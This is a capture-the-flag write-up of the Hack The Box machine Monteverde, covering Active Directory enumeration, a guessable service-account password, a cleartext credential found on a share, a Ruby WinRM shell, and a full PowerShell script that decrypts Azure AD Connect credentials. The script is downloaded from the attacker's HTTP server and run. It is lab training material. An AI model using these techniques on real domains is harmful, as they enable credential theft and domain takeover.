Hack The Box - Monteverde

Monteverde is a Windows machine considered easy/medium and Active Directory oriented. An anonymous pseudo access allows to list domain accounts and help identifying a trivial account. The analysis of a network share allows to retrieve an account member of the “Azure Admins” group. Privilege escalation is performed through the exploitation of Azure AD Connect.

Disclaimer : It is a rather quick presentation that deliberately omits the various research areas. Only the actual results and a quick approach are presented.

Discovery / Enumeration

A quick port scan to get the running services on the machine.

Nmap scan report for 10.10.10.172
Host is up, received echo-reply ttl 127 (0.085s latency).
Scanned at 2020-02-02 16:30:39 CET for 159s
Not shown: 989 filtered ports
Reason: 989 no-responses
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain?       syn-ack ttl 127
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-02-02 15:41:58Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127

Don’t forget to scan higher port… It cost me some time ! Indeed, that way, we can identify the 5985 and 9389 ports (and that’s important!)

nmap scan report for 10.10.10.172
Host is up (0.091s latency).
Not shown: 9988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws

We manage to retrieve the domain and the different services tell us that we’re facing an Active Directory domain controler.

We quickly find that it is possible to request the AD without prior authentication. This behavior allow us to get several informations such as the user list.

$ rpcclient -U "" 10.10.10.172
Unable to initialize messaging context
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Important : In order to avoid DNS resolution trouble, don’t forget to add machine entries in the resolv.conf and hosts files.

$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux

10.10.10.172 megabank.local
$ cat /etc/resolv.conf 
search megabank.local
nameserver 10.10.10.172

Trivial account and share enumeration

It’s quite common in real world Active Directory domains to find accounts using trivial password. Accounts used for specific processes or needed to be used by different personnes are the best example.

After some test, we quickly find the “SABatchJobs” account.

$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs"          
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs

From there, we can start digging into some network shares.

$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs" --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ            
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       users$          READ      

The users$ share draws our attention. Every user’s folder are empty, except one, containing a specific azure.xml file.

$ smbclient -U SABatchJobs //10.10.10.172/users$

smb: \mhope\> ls
  .                                   D        0  Fri Jan  3 14:41:18 2020
  ..                                  D        0  Fri Jan  3 14:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 14:40:23 2020

    524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)

By getting the file, which is an Azure configuration file, we can find a cleartext stored password.

$ cat azure.xml 
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>%

We can then verify the validity of the passwords, using CrackMapExec, for the user hope (It is were we found the file). I’m skipping details, but during the fist enumeration phase, this user as been identified as member of the “Azure Admins” group.

$ crackmapexec smb 10.10.10.172 -u "mhope" -p "4n0therD4y@n0th3r$"    
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\mhope:4n0therD4y@n0th3r$

Access through WinRM

However, this account is not an administrator and possibilities for remote command execution are limited. This is where WinRM (Windows Remote Management) comes in. It is a Microsoft HTTP service/protocol, based on WS-Management (SOAP) that allows remote administration of Windows machines. Back to our nmap scan, the port 5985, used by default by WinRM, is open.

Several ways to exploit it. I chose to use the following Ruby script.

$ cat winrm_shell.rb 
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.172:5985/wsman',
  user: 'MEGABANK\mhope',
  password: '4n0therD4y@n0th3r$',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Which give machine access and the first flag !

$ ruby winrm_shell.rb 
PS > whoami
megabank\mhope
PS > pwd

Path                    
----                    
C:\Users\mhope\Documents


PS > ls ../Desktop

    Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                            
-ar---         1/3/2020   5:48 AM             32 user.txt

Privilege escalatation - AD Sync

From there we own an “Azure Admins” user and we have to find a way to escalate our privilege on the domain. Regarding the global configuration of this box, it seems that we will have to look for Azure mecanisms.

Having only very few knowledge about this, I started by documentating myself on what we can do on Azure environments. I found ths good @_dirkjan (lien)presentation.

We learn that we could extract credentials from an Azure domain connected machine through Azure AD Connect.

Some additional research lead us to the 2 following resources : - https://blog.xpnsec.com/azuread-connect-for-redteam/ - https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

That way, we gather an incredible PowerShell script automating the extraction (thanks to @xpn!).

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

However, the exploit is not directly working. Indeed, these credentials can be stored in two different structures : - Through SQLExpress database, default ; - Through MSSQL instance.

So, we will have to adapt the authentication type in the script. The following lines show what we have to use for each.

# Instance MSSQL
"Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

# Instance SQLExpress
"Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

In our case, a MSSQL instance is used. So, we will have to modify the following line.

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
$client.Open()

Then, we can setup a quick Python HTTP server and drop it on the target machine. We can finally execute it through our WinRM shell !

$ ruby winrm_shell.rb                                                          
PS > Invoke-WebRequest -Uri "http://10.10.14.32:8000/test.ps1" -OutFile "test.ps1"
PS > .\test.ps1
AD Connect Sync Credential Extract POC (@_xpn_)

Stage 1 - OK

Stage 2 - OK

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

Tadaaaam ! We adapt our ruby script (WinRM) and go straight forward to the root flag !

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.172:5985/wsman',
  user: 'MEGABANK\administrator',
  password: 'd0m@in4dminyeah!',
)
$ ruby winrm_shell_admin.rb
PS > whoami
megabank\administrator
PS > pwd

Path                            
----                            
C:\Users\Administrator\Documents


PS > ls ../Desktop/

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name       
----                -------------         ------ ----
-ar---         1/3/2020   5:48 AM             32 root.txt

w00ted !

Hack The Box - Nest